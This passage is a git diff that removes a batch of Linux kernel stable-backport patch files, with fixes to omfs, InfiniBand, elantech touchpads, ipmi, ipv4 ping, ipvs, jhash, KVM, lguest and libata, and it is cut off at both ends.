-Signed-off-by: Bob Copeland <me@bobcopeland.com> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/omfs/inode.c | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/fs/omfs/inode.c -+++ b/fs/omfs/inode.c -@@ -361,7 +361,7 @@ nomem: - } - - enum { -- Opt_uid, Opt_gid, Opt_umask, Opt_dmask, Opt_fmask -+ Opt_uid, Opt_gid, Opt_umask, Opt_dmask, Opt_fmask, Opt_err - }; - - static const match_table_t tokens = { -@@ -370,6 +370,7 @@ static const match_table_t tokens = { - {Opt_umask, "umask=%o"}, - {Opt_dmask, "dmask=%o"}, - {Opt_fmask, "fmask=%o"}, -+ {Opt_err, NULL}, - }; - - static int parse_options(char *options, struct omfs_sb_info *sbi) diff --git a/patches/ib-core-disallow-registering-0-sized-memory-region.patch b/patches/ib-core-disallow-registering-0-sized-memory-region.patch deleted file mode 100644 index 7b17907..0000000 --- a/patches/ib-core-disallow-registering-0-sized-memory-region.patch +++ /dev/null @@ -1,40 +0,0 @@ -From 8abaae62f3fdead8f4ce0ab46b4ab93dee39bab2 Mon Sep 17 00:00:00 2001 -From: Yann Droneaud <ydroneaud@opteya.com> -Date: Mon, 13 Apr 2015 14:56:22 +0200 -Subject: IB/core: disallow registering 0-sized memory region - -commit 8abaae62f3fdead8f4ce0ab46b4ab93dee39bab2 upstream. - -If ib_umem_get() is called with a size equal to 0 and an -non-page aligned address, one page will be pinned and a -0-sized umem will be returned to the caller. - -This should not be allowed: it's not expected for a memory -region to have a size equal to 0. - -This patch adds a check to explicitly refuse to register -a 0-sized region. - -Link: http://mid.gmane.org/cover.1428929103.git.ydroneaud@opteya.com -Cc: Shachar Raindel <raindel@mellanox.com> -Cc: Jack Morgenstein <jackm@mellanox.com> -Cc: Or Gerlitz <ogerlitz@mellanox.com> -Signed-off-by: Yann Droneaud <ydroneaud@opteya.com> -Signed-off-by: Doug Ledford <dledford@redhat.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/infiniband/core/umem.c | 3 +++ - 1 file changed, 3 insertions(+) - ---- a/drivers/infiniband/core/umem.c -+++ b/drivers/infiniband/core/umem.c -@@ -94,6 +94,9 @@ struct ib_umem *ib_umem_get(struct ib_uc - if (dmasync) - dma_set_attr(DMA_ATTR_WRITE_BARRIER, &attrs); - -+ if (!size) -+ return ERR_PTR(-EINVAL); -+ - /* - * If the combination of the addr and size requested for this memory - * region causes an integer overflow, return error. diff --git a/patches/ib-mlx4-fix-wqe-lso-segment-calculation.patch b/patches/ib-mlx4-fix-wqe-lso-segment-calculation.patch deleted file mode 100644 index 0913d81..0000000 --- a/patches/ib-mlx4-fix-wqe-lso-segment-calculation.patch +++ /dev/null @@ -1,45 +0,0 @@ -From ca9b590caa17bcbbea119594992666e96cde9c2f Mon Sep 17 00:00:00 2001 -From: Erez Shitrit <erezsh@mellanox.com> -Date: Thu, 2 Apr 2015 13:39:05 +0300 -Subject: IB/mlx4: Fix WQE LSO segment calculation - -commit ca9b590caa17bcbbea119594992666e96cde9c2f upstream. - -The current code decreases from the mss size (which is the gso_size -from the kernel skb) the size of the packet headers. - -It shouldn't do that because the mss that comes from the stack -(e.g IPoIB) includes only the tcp payload without the headers. - -The result is indication to the HW that each packet that the HW sends -is smaller than what it could be, and too many packets will be sent -for big messages. - -An easy way to demonstrate one more aspect of the problem is by -configuring the ipoib mtu to be less than 2*hlen (2*56) and then -run app sending big TCP messages. This will tell the HW to send packets -with giant (negative value which under unsigned arithmetics becomes -a huge positive one) length and the QP moves to SQE state. - -Fixes: b832be1e4007 ('IB/mlx4: Add IPoIB LSO support') -Reported-by: Matthew Finlay <matt@mellanox.com> -Signed-off-by: Erez Shitrit <erezsh@mellanox.com> -Signed-off-by: Or Gerlitz <ogerlitz@mellanox.com> -Signed-off-by: Doug Ledford <dledford@redhat.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/infiniband/hw/mlx4/qp.c | 3 +-- - 1 file changed, 1 insertion(+), 2 deletions(-) - ---- a/drivers/infiniband/hw/mlx4/qp.c -+++ b/drivers/infiniband/hw/mlx4/qp.c -@@ -1670,8 +1670,7 @@ static int build_lso_seg(struct mlx4_wqe - - memcpy(wqe->header, wr->wr.ud.header, wr->wr.ud.hlen); - -- *lso_hdr_sz = cpu_to_be32((wr->wr.ud.mss - wr->wr.ud.hlen) << 16 | -- wr->wr.ud.hlen); -+ *lso_hdr_sz = cpu_to_be32(wr->wr.ud.mss << 16 | wr->wr.ud.hlen); - *lso_seg_len = halign; - return 0; - } diff --git a/patches/input-elantech-fix-absolute-mode-setting-on-some-asus-laptops.patch b/patches/input-elantech-fix-absolute-mode-setting-on-some-asus-laptops.patch deleted file mode 100644 index 87bca85..0000000 --- a/patches/input-elantech-fix-absolute-mode-setting-on-some-asus-laptops.patch +++ /dev/null @@ -1,83 +0,0 @@ -From bd884149aca61de269fd9bad83fe2a4232ffab21 Mon Sep 17 00:00:00 2001 -From: Ulrik De Bie <ulrik.debie-os@e2big.org> -Date: Mon, 6 Apr 2015 15:35:38 -0700 -Subject: Input: elantech - fix absolute mode setting on some ASUS laptops - -commit bd884149aca61de269fd9bad83fe2a4232ffab21 upstream. - -On ASUS TP500LN and X750JN, the touchpad absolute mode is reset each -time set_rate is done. - -In order to fix this, we will verify the firmware version, and if it -matches the one in those laptops, the set_rate function is overloaded -with a function elantech_set_rate_restore_reg_07 that performs the -set_rate with the original function, followed by a restore of reg_07 -(the register that sets the absolute mode on elantech v4 hardware). - -Also the ASUS TP500LN and X750JN firmware version, capabilities, and -button constellation is added to elantech.c - -Reported-and-tested-by: George Moutsopoulos <gmoutso@yahoo.co.uk> -Signed-off-by: Ulrik De Bie <ulrik.debie-os@e2big.org> -Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/input/mouse/elantech.c | 22 ++++++++++++++++++++++ - drivers/input/mouse/elantech.h | 1 + - 2 files changed, 23 insertions(+) - ---- a/drivers/input/mouse/elantech.c -+++ b/drivers/input/mouse/elantech.c -@@ -783,6 +783,21 @@ static psmouse_ret_t elantech_process_by - } - - /* -+ * This writes the reg_07 value again to the hardware at the end of every -+ * set_rate call because the register loses its value. reg_07 allows setting -+ * absolute mode on v4 hardware -+ */ -+static void elantech_set_rate_restore_reg_07(struct psmouse *psmouse, -+ unsigned int rate) -+{ -+ struct elantech_data *etd = psmouse->private; -+ -+ etd->original_set_rate(psmouse, rate); -+ if (elantech_write_reg(psmouse, 0x07, etd->reg_07)) -+ psmouse_err(psmouse, "restoring reg_07 failed\n"); -+} -+ -+/* - * Put the touchpad into absolute mode - */ - static int elantech_set_absolute_mode(struct psmouse *psmouse) -@@ -980,6 +995,8 @@ static int elantech_get_resolution_v4(st - * Asus K53SV 0x450f01 78, 15, 0c 2 hw buttons - * Asus G46VW 0x460f02 00, 18, 0c 2 hw buttons - * Asus G750JX 0x360f00 00, 16, 0c 2 hw buttons -+ * Asus TP500LN 0x381f17 10, 14, 0e clickpad -+ * Asus X750JN 0x381f17 10, 14, 0e clickpad - * Asus UX31 0x361f00 20, 15, 0e clickpad - * Asus UX32VD 0x361f02 00, 15, 0e clickpad - * Avatar AVIU-145A2 0x361f00 ? clickpad -@@ -1427,6 +1444,11 @@ int elantech_init(struct psmouse *psmous - goto init_fail; - } - -+ if (etd->fw_version == 0x381f17) { -+ etd->original_set_rate = psmouse->set_rate; -+ psmouse->set_rate = elantech_set_rate_restore_reg_07; -+ } -+ - if (elantech_set_input_params(psmouse)) { - psmouse_err(psmouse, "failed to query touchpad range.\n"); - goto init_fail; ---- a/drivers/input/mouse/elantech.h -+++ b/drivers/input/mouse/elantech.h -@@ -137,6 +137,7 @@ struct elantech_data { - struct finger_pos mt[ETP_MAX_FINGERS]; - unsigned char parity[256]; - int (*send_cmd)(struct psmouse *psmouse, unsigned char c, unsigned char *param); -+ void (*original_set_rate)(struct psmouse *psmouse, unsigned int rate); - }; - - #ifdef CONFIG_MOUSE_PS2_ELANTECH diff --git a/patches/input-elantech-fix-detection-of-touchpads-where-the-revision-matches-a-known-rate.patch b/patches/input-elantech-fix-detection-of-touchpads-where-the-revision-matches-a-known-rate.patch deleted file mode 100644 index fa09808..0000000 --- a/patches/input-elantech-fix-detection-of-touchpads-where-the-revision-matches-a-known-rate.patch +++ /dev/null @@ -1,42 +0,0 @@ -From 5f0ee9d17aae628b22be86966471db65be21f262 Mon Sep 17 00:00:00 2001 -From: Hans de Goede <hdegoede@redhat.com> -Date: Tue, 2 Jun 2015 10:40:50 -0700 -Subject: Input: elantech - fix detection of touchpads where the revision - matches a known rate -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream. - -Make the check to skip the rate check more lax, so that it applies -to all hw_version 4 models. - -This fixes the touchpad not being detected properly on Asus PU551LA -laptops. - -Reported-and-tested-by: David Zafra Gómez <dezeta@klo.es> -Signed-off-by: Hans de Goede <hdegoede@redhat.com> -Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/input/mouse/elantech.c | 7 ++++--- - 1 file changed, 4 insertions(+), 3 deletions(-) - ---- a/drivers/input/mouse/elantech.c -+++ b/drivers/input/mouse/elantech.c -@@ -1236,10 +1236,11 @@ static bool elantech_is_signature_valid( - return true; - - /* -- * Some models have a revision higher then 20. Meaning param[2] may -- * be 10 or 20, skip the rates check for these. -+ * Some hw_version >= 4 models have a revision higher then 20. Meaning -+ * that param[2] may be 10 or 20, skip the rates check for these. - */ -- if (param[0] == 0x46 && (param[1] & 0xef) == 0x0f && param[2] < 40) -+ if ((param[0] & 0x0f) >= 0x06 && (param[1] & 0xaf) == 0x0f && -+ param[2] < 40) - return true; - - for (i = 0; i < ARRAY_SIZE(rates); i++) diff --git a/patches/input-elantech-fix-semi-mt-protocol-for-v3-hw.patch b/patches/input-elantech-fix-semi-mt-protocol-for-v3-hw.patch deleted file mode 100644 index 0f71b8d..0000000 --- a/patches/input-elantech-fix-semi-mt-protocol-for-v3-hw.patch +++ /dev/null @@ -1,35 +0,0 @@ -From 3c0213d17a09601e0c6c0ae0e27caf70d988290f Mon Sep 17 00:00:00 2001 -From: Benjamin Tissoires <benjamin.tissoires@redhat.com> -Date: Thu, 23 Apr 2015 09:08:43 -0700 -Subject: Input: elantech - fix semi-mt protocol for v3 HW - -commit 3c0213d17a09601e0c6c0ae0e27caf70d988290f upstream. - -When the v3 hardware sees more than one finger, it uses the semi-mt -protocol to report the touches. However, it currently works when -num_fingers is 0, 1 or 2, but when it is 3 and above, it sends only 1 -finger as if num_fingers was 1. - -This confuses userspace which knows how to deal with extra fingers -when all the slots are used, but not when some are missing. - -Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=90101 - -Signed-off-by: Benjamin Tissoires <benjamin.tissoires@redhat.com> -Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/input/mouse/elantech.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/input/mouse/elantech.c -+++ b/drivers/input/mouse/elantech.c -@@ -313,7 +313,7 @@ static void elantech_report_semi_mt_data - unsigned int x2, unsigned int y2) - { - elantech_set_slot(dev, 0, num_fingers != 0, x1, y1); -- elantech_set_slot(dev, 1, num_fingers == 2, x2, y2); -+ elantech_set_slot(dev, 1, num_fingers >= 2, x2, y2); - } - - /* diff --git a/patches/ipmi-fix-timeout-calculation-when-bmc-is-disconnected.patch b/patches/ipmi-fix-timeout-calculation-when-bmc-is-disconnected.patch deleted file mode 100644 index 051bea2..0000000 --- a/patches/ipmi-fix-timeout-calculation-when-bmc-is-disconnected.patch +++ /dev/null @@ -1,44 +0,0 @@ -From e21404dc0ac7ac971c1e36274b48bb460463f4e5 Mon Sep 17 00:00:00 2001 -From: Xie XiuQi <xiexiuqi@huawei.com> -Date: Fri, 24 Jan 2014 14:00:52 -0600 -Subject: ipmi: fix timeout calculation when bmc is disconnected - -commit e21404dc0ac7ac971c1e36274b48bb460463f4e5 upstream. - -Loading ipmi_si module while bmc is disconnected, we found the timeout -is longer than 5 secs. Actually it takes about 3 mins and 20 -secs.(HZ=250) - -error message as below: - Dec 12 19:08:59 linux kernel: IPMI BT: timeout in RD_WAIT [ ] 1 retries left - Dec 12 19:08:59 linux kernel: BT: write 4 bytes seq=0x01 03 18 00 01 - [...] - Dec 12 19:12:19 linux kernel: IPMI BT: timeout in RD_WAIT [ ] - Dec 12 19:12:19 linux kernel: failed 2 retries, sending error response - Dec 12 19:12:19 linux kernel: IPMI: BT reset (takes 5 secs) - Dec 12 19:12:19 linux kernel: IPMI BT: flag reset [ ] - -Function wait_for_msg_done() use schedule_timeout_uninterruptible(1) to -sleep 1 tick, so we should subtract jiffies_to_usecs(1) instead of 100 -usecs from timeout. - -Reported-by: Hu Shiyuan <hushiyuan@huawei.com> -Signed-off-by: Xie XiuQi <xiexiuqi@huawei.com> -Signed-off-by: Corey Minyard <cminyard@mvista.com> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/char/ipmi/ipmi_si_intf.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/char/ipmi/ipmi_si_intf.c -+++ b/drivers/char/ipmi/ipmi_si_intf.c -@@ -2668,7 +2668,7 @@ static int wait_for_msg_done(struct smi_ - smi_result == SI_SM_CALL_WITH_TICK_DELAY) { - schedule_timeout_uninterruptible(1); - smi_result = smi_info->handlers->event( -- smi_info->si_sm, 100); -+ smi_info->si_sm, jiffies_to_usecs(1)); - } else if (smi_result == SI_SM_CALL_WITHOUT_DELAY) { - smi_result = smi_info->handlers->event( - smi_info->si_sm, 0); diff --git a/patches/ipv4-missing-sk_nulls_node_init-in-ping_unhash.patch b/patches/ipv4-missing-sk_nulls_node_init-in-ping_unhash.patch deleted file mode 100644 index 479191f..0000000 --- a/patches/ipv4-missing-sk_nulls_node_init-in-ping_unhash.patch +++ /dev/null @@ -1,30 +0,0 @@ -From a134f083e79fb4c3d0a925691e732c56911b4326 Mon Sep 17 00:00:00 2001 -From: "David S. Miller" <davem@davemloft.net> -Date: Fri, 1 May 2015 22:02:47 -0400 -Subject: ipv4: Missing sk_nulls_node_init() in ping_unhash(). - -commit a134f083e79fb4c3d0a925691e732c56911b4326 upstream. - -If we don't do that, then the poison value is left in the ->pprev -backlink. - -This can cause crashes if we do a disconnect, followed by a connect(). - -Tested-by: Linus Torvalds <torvalds@linux-foundation.org> -Reported-by: Wen Xu <hotdog3645@gmail.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/ipv4/ping.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/net/ipv4/ping.c -+++ b/net/ipv4/ping.c -@@ -138,6 +138,7 @@ static void ping_v4_unhash(struct sock * - if (sk_hashed(sk)) { - write_lock_bh(&ping_table.lock); - hlist_nulls_del(&sk->sk_nulls_node); -+ sk_nulls_node_init(&sk->sk_nulls_node); - sock_put(sk); - isk->inet_num = 0; - isk->inet_sport = 0; diff --git a/patches/ipvs-fix-memory-leak-in-ip_vs_ctl.c.patch b/patches/ipvs-fix-memory-leak-in-ip_vs_ctl.c.patch deleted file mode 100644 index 38a94f4..0000000 --- a/patches/ipvs-fix-memory-leak-in-ip_vs_ctl.c.patch +++ /dev/null @@ -1,51 +0,0 @@ -From f30bf2a5cac6c60ab366c4bc6db913597bf4d6ab Mon Sep 17 00:00:00 2001 -From: Tommi Rantala <tt.rantala@gmail.com> -Date: Thu, 7 May 2015 15:12:21 +0300 -Subject: ipvs: fix memory leak in ip_vs_ctl.c - -commit f30bf2a5cac6c60ab366c4bc6db913597bf4d6ab upstream. - -Fix memory leak introduced in commit a0840e2e165a ("IPVS: netns, -ip_vs_ctl local vars moved to ipvs struct."): - -unreferenced object 0xffff88005785b800 (size 2048): - comm "(-localed)", pid 1434, jiffies 4294755650 (age 1421.089s) - hex dump (first 32 bytes): - bb 89 0b 83 ff ff ff ff b0 78 f0 4e 00 88 ff ff .........x.N.... - 04 00 00 00 a4 01 00 00 00 00 00 00 00 00 00 00 ................ - backtrace: - [<ffffffff8262ea8e>] kmemleak_alloc+0x4e/0xb0 - [<ffffffff811fba74>] __kmalloc_track_caller+0x244/0x430 - [<ffffffff811b88a0>] kmemdup+0x20/0x50 - [<ffffffff823276b7>] ip_vs_control_net_init+0x1f7/0x510 - [<ffffffff8231d630>] __ip_vs_init+0x100/0x250 - [<ffffffff822363a1>] ops_init+0x41/0x190 - [<ffffffff82236583>] setup_net+0x93/0x150 - [<ffffffff82236cc2>] copy_net_ns+0x82/0x140 - [<ffffffff810ab13d>] create_new_namespaces+0xfd/0x190 - [<ffffffff810ab49a>] unshare_nsproxy_namespaces+0x5a/0xc0 - [<ffffffff810833e3>] SyS_unshare+0x173/0x310 - [<ffffffff8265cbd7>] system_call_fastpath+0x12/0x6f - [<ffffffffffffffff>] 0xffffffffffffffff - -Fixes: a0840e2e165a ("IPVS: netns, ip_vs_ctl local vars moved to ipvs struct.") -Signed-off-by: Tommi Rantala <tt.rantala@gmail.com> -Acked-by: Julian Anastasov <ja@ssi.bg> -Signed-off-by: Simon Horman <horms@verge.net.au> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/netfilter/ipvs/ip_vs_ctl.c | 3 +++ - 1 file changed, 3 insertions(+) - ---- a/net/netfilter/ipvs/ip_vs_ctl.c -+++ b/net/netfilter/ipvs/ip_vs_ctl.c -@@ -3689,6 +3689,9 @@ void __net_exit ip_vs_control_net_cleanu - cancel_delayed_work_sync(&ipvs->defense_work); - cancel_work_sync(&ipvs->defense_work.work); - unregister_net_sysctl_table(ipvs->sysctl_hdr); -+ -+ if (!net_eq(net, &init_net)) -+ kfree(ipvs->sysctl_tbl); - } - - #else diff --git a/patches/jhash-update-jhash_-321-words-functions-to-use-correct-initval.patch b/patches/jhash-update-jhash_-321-words-functions-to-use-correct-initval.patch deleted file mode 100644 index ab14967..0000000 --- a/patches/jhash-update-jhash_-321-words-functions-to-use-correct-initval.patch +++ /dev/null @@ -1,71 +0,0 @@ -From 2e7056c433216f406b90a003aa0ba42e19d3bdcf Mon Sep 17 00:00:00 2001 -From: Alexander Duyck <alexander.h.duyck@redhat.com> -Date: Tue, 31 Mar 2015 14:19:10 -0700 -Subject: jhash: Update jhash_[321]words functions to use correct initval - -commit 2e7056c433216f406b90a003aa0ba42e19d3bdcf upstream. - -Looking over the implementation for jhash2 and comparing it to jhash_3words -I realized that the two hashes were in fact very different. Doing a bit of -digging led me to "The new jhash implementation" in which lookup2 was -supposed to have been replaced with lookup3. - -In reviewing the patch I noticed that jhash2 had originally initialized a -and b to JHASH_GOLDENRATIO and c to initval, but after the patch a, b, and -c were initialized to initval + (length << 2) + JHASH_INITVAL. However the -changes in jhash_3words simply replaced the initialization of a and b with -JHASH_INITVAL. - -This change corrects what I believe was an oversight so that a, b, and c in -jhash_3words all have the same value added consisting of initval + (length -<< 2) + JHASH_INITVAL so that jhash2 and jhash_3words will now produce the -same hash result given the same inputs. - -Fixes: 60d509c823cca ("The new jhash implementation") -Signed-off-by: Alexander Duyck <alexander.h.duyck@redhat.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - include/linux/jhash.h | 17 +++++++++++------ - 1 file changed, 11 insertions(+), 6 deletions(-) - ---- a/include/linux/jhash.h -+++ b/include/linux/jhash.h -@@ -145,11 +145,11 @@ static inline u32 jhash2(const u32 *k, u - } - - --/* jhash_3words - hash exactly 3, 2 or 1 word(s) */ --static inline u32 jhash_3words(u32 a, u32 b, u32 c, u32 initval) -+/* __jhash_nwords - hash exactly 3, 2 or 1 word(s) */ -+static inline u32 __jhash_nwords(u32 a, u32 b, u32 c, u32 initval) - { -- a += JHASH_INITVAL; -- b += JHASH_INITVAL; -+ a += initval; -+ b += initval; - c += initval; - - __jhash_final(a, b, c); -@@ -157,14 +157,19 @@ static inline u32 jhash_3words(u32 a, u3 - return c; - } - -+static inline u32 jhash_3words(u32 a, u32 b, u32 c, u32 initval) -+{ -+ return __jhash_nwords(a, b, c, initval + JHASH_INITVAL + (3 << 2)); -+} -+ - static inline u32 jhash_2words(u32 a, u32 b, u32 initval) - { -- return jhash_3words(a, b, 0, initval); -+ return __jhash_nwords(a, b, 0, initval + JHASH_INITVAL + (2 << 2)); - } - - static inline u32 jhash_1word(u32 a, u32 initval) - { -- return jhash_3words(a, 0, 0, initval); -+ return __jhash_nwords(a, 0, 0, initval + JHASH_INITVAL + (1 << 2)); - } - - #endif /* _LINUX_JHASH_H */ diff --git a/patches/kvm-mmu-fix-cr4.smep-1-cr0.wp-0-with-shadow-pages.patch b/patches/kvm-mmu-fix-cr4.smep-1-cr0.wp-0-with-shadow-pages.patch deleted file mode 100644 index 5c8270d..0000000 --- a/patches/kvm-mmu-fix-cr4.smep-1-cr0.wp-0-with-shadow-pages.patch +++ /dev/null @@ -1,30 +0,0 @@ -From 898761158be7682082955e3efa4ad24725305fc7 Mon Sep 17 00:00:00 2001 -From: Paolo Bonzini <pbonzini@redhat.com> -Date: Thu, 2 Apr 2015 11:04:05 +0200 -Subject: KVM: MMU: fix CR4.SMEP=1, CR0.WP=0 with shadow pages - -commit 898761158be7682082955e3efa4ad24725305fc7 upstream. - -smep_andnot_wp is initialized in kvm_init_shadow_mmu and shadow pages -should not be reused for different values of it. Thus, it has to be -added to the mask in kvm_mmu_pte_write. - -Reviewed-by: Xiao Guangrong <guangrong.xiao@linux.intel.com> -Signed-off-by: Paolo Bonzini <pbonzini@redhat.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/x86/kvm/mmu.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/arch/x86/kvm/mmu.c -+++ b/arch/x86/kvm/mmu.c -@@ -3658,7 +3658,7 @@ void kvm_mmu_pte_write(struct kvm_vcpu * - ++vcpu->kvm->stat.mmu_pte_write; - kvm_mmu_audit(vcpu, AUDIT_PRE_PTE_WRITE); - -- mask.cr0_wp = mask.cr4_pae = mask.nxe = 1; -+ mask.cr0_wp = mask.cr4_pae = mask.nxe = mask.smep_andnot_wp = 1; - for_each_gfn_indirect_valid_sp(vcpu->kvm, sp, gfn, node) { - if (detect_write_misaligned(sp, gpa, bytes) || - detect_write_flooding(sp)) { diff --git a/patches/kvm-s390-zero-out-current-vmdb-of-stsi-before-including-level3-data.patch b/patches/kvm-s390-zero-out-current-vmdb-of-stsi-before-including-level3-data.patch deleted file mode 100644 index 940b332..0000000 --- a/patches/kvm-s390-zero-out-current-vmdb-of-stsi-before-including-level3-data.patch +++ /dev/null @@ -1,29 +0,0 @@ -From b75f4c9afac2604feb971441116c07a24ecca1ec Mon Sep 17 00:00:00 2001 -From: Ekaterina Tumanova <tumanova@linux.vnet.ibm.com> -Date: Tue, 3 Mar 2015 09:54:41 +0100 -Subject: KVM: s390: Zero out current VMDB of STSI before including level3 - data. - -commit b75f4c9afac2604feb971441116c07a24ecca1ec upstream. - -s390 documentation requires words 0 and 10-15 to be reserved and stored as -zeros. As we fill out all other fields, we can memset the full structure. - -Signed-off-by: Ekaterina Tumanova <tumanova@linux.vnet.ibm.com> -Reviewed-by: David Hildenbrand <dahi@linux.vnet.ibm.com> -Signed-off-by: Christian Borntraeger <borntraeger@de.ibm.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/s390/kvm/priv.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/arch/s390/kvm/priv.c -+++ b/arch/s390/kvm/priv.c -@@ -218,6 +218,7 @@ static void handle_stsi_3_2_2(struct kvm - for (n = mem->count - 1; n > 0 ; n--) - memcpy(&mem->vm[n], &mem->vm[n - 1], sizeof(mem->vm[0])); - -+ memset(&mem->vm[0], 0, sizeof(mem->vm[0])); - mem->vm[0].cpus_total = cpus; - mem->vm[0].cpus_configured = cpus; - mem->vm[0].cpus_standby = 0; diff --git a/patches/lguest-fix-out-by-one-error-in-address-checking.patch b/patches/lguest-fix-out-by-one-error-in-address-checking.patch deleted file mode 100644 index aa562d6..0000000 --- a/patches/lguest-fix-out-by-one-error-in-address-checking.patch +++ /dev/null @@ -1,30 +0,0 @@ -From 83a35114d0e4583e6b0ca39502e68b6a92e2910c Mon Sep 17 00:00:00 2001 -From: Rusty Russell <rusty@rustcorp.com.au> -Date: Wed, 27 May 2015 10:59:26 +0930 -Subject: lguest: fix out-by-one error in address checking. - -commit 83a35114d0e4583e6b0ca39502e68b6a92e2910c upstream. - -This bug has been there since day 1; addresses in the top guest physical -page weren't considered valid. You could map that page (the check in -check_gpte() is correct), but if a guest tried to put a pagetable there -we'd check that address manually when walking it, and kill the guest. - -Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/lguest/core.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/lguest/core.c -+++ b/drivers/lguest/core.c -@@ -171,7 +171,7 @@ static void unmap_switcher(void) - bool lguest_address_ok(const struct lguest *lg, - unsigned long addr, unsigned long len) - { -- return (addr+len) / PAGE_SIZE < lg->pfn_limit && (addr+len >= addr); -+ return addr+len <= lg->pfn_limit * PAGE_SIZE && (addr+len >= addr); - } - - /* diff --git a/patches/libata-add-helper-to-determine-when-phy-events-should-be-ignored.patch b/patches/libata-add-helper-to-determine-when-phy-events-should-be-ignored.patch deleted file mode 100644 index 4237d7a..0000000 --- a/patches/libata-add-helper-to-determine-when-phy-events-should-be-ignored.patch +++ /dev/null @@ -1,69 +0,0 @@ -From 8393b811f38acdf7fd8da2028708edad3e68ce1f Mon Sep 17 00:00:00 2001 -From: Gabriele Mazzotta <gabriele.mzt@gmail.com> -Date: Sat, 25 Apr 2015 19:52:36 +0200 -Subject: libata: Add helper to determine when PHY events should be ignored - -commit 8393b811f38acdf7fd8da2028708edad3e68ce1f upstream. - -This is a preparation commit that will allow to add other criteria -according to which PHY events should be dropped. - -Signed-off-by: Gabriele Mazzotta <gabriele.mzt@gmail.com> -Signed-off-by: Tejun Heo <tj@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/ata/libahci.c | 3 +-- - drivers/ata/libata-core.c | 19 +++++++++++++++++++ - include/linux/libata.h | 1 + - 3 files changed, 21 insertions(+), 2 deletions(-) - ---- a/drivers/ata/libahci.c -+++ b/drivers/ata/libahci.c -@@ -1670,8 +1670,7 @@ static void ahci_port_intr(struct ata_po - if (unlikely(resetting)) - status &= ~PORT_IRQ_BAD_PMP; - -- /* if LPM is enabled, PHYRDY doesn't mean anything */ -- if (ap->link.lpm_policy > ATA_LPM_MAX_POWER) { -+ if (sata_lpm_ignore_phy_events(&ap->link)) { - status &= ~PORT_IRQ_PHYRDY; - ahci_scr_write(&ap->link, SCR_ERROR, SERR_PHYRDY_CHG); - } ---- a/drivers/ata/libata-core.c -+++ b/drivers/ata/libata-core.c -@@ -6657,6 +6657,25 @@ u32 ata_wait_register(struct ata_port *a - return tmp; - } - -+/** -+ * sata_lpm_ignore_phy_events - test if PHY event should be ignored -+ * @link: Link receiving the event -+ * -+ * Test whether the received PHY event has to be ignored or not. -+ * -+ * LOCKING: -+ * None: -+ * -+ * RETURNS: -+ * True if the event has to be ignored. -+ */ -+bool sata_lpm_ignore_phy_events(struct ata_link *link) -+{ -+ /* if LPM is enabled, PHYRDY doesn't mean anything */ -+ return !!(link->lpm_policy > ATA_LPM_MAX_POWER); -+} -+EXPORT_SYMBOL_GPL(sata_lpm_ignore_phy_events); -+ - /* - * Dummy port_ops - */ ---- a/include/linux/libata.h -+++ b/include/linux/libata.h -@@ -1065,6 +1065,7 @@ extern struct ata_device *ata_dev_pair(s - extern int ata_do_set_mode(struct ata_link *link, struct ata_device **r_failed_dev); - extern void ata_scsi_port_error_handler(struct Scsi_Host *host, struct ata_port *ap); - extern void ata_scsi_cmd_error_handler(struct Scsi_Host *host, struct ata_port *ap, struct list_head *eh_q); -+extern bool sata_lpm_ignore_phy_events(struct ata_link *link); - - extern int ata_cable_40wire(struct ata_port *ap); - extern int ata_cable_80wire(struct ata_port *ap); diff --git a/patches/libata-ignore-spurious-phy-event-on-lpm-policy-change.patch b/patches/libata-ignore-spurious-phy-event-on-lpm-policy-change.patch deleted file mode 100644 index c33059e..0000000 --- a/patches/libata-ignore-spurious-phy-event-on-lpm-policy-change.patch +++ /dev/null @@ -1,94 +0,0 @@ -From 09c5b4803a80a5451d950d6a539d2eb311dc0fb1 Mon Sep 17 00:00:00 2001 -From: Gabriele Mazzotta <gabriele.mzt@gmail.com> -Date: Sat, 25 Apr 2015 19:52:37 +0200 -Subject: libata: Ignore spurious PHY event on LPM policy change - -commit 09c5b4803a80a5451d950d6a539d2eb311dc0fb1 upstream. - -When the LPM policy is set to ATA_LPM_MAX_POWER, the device might -generate a spurious PHY event that cuases errors on the link. -Ignore this event if it occured within 10s after the policy change. - -The timeout was chosen observing that on a Dell XPS13 9333 these -spurious events can occur up to roughly 6s after the policy change. - -Link: http://lkml.kernel.org/g/3352987.ugV1Ipy7Z5@xps13 -Signed-off-by: Gabriele 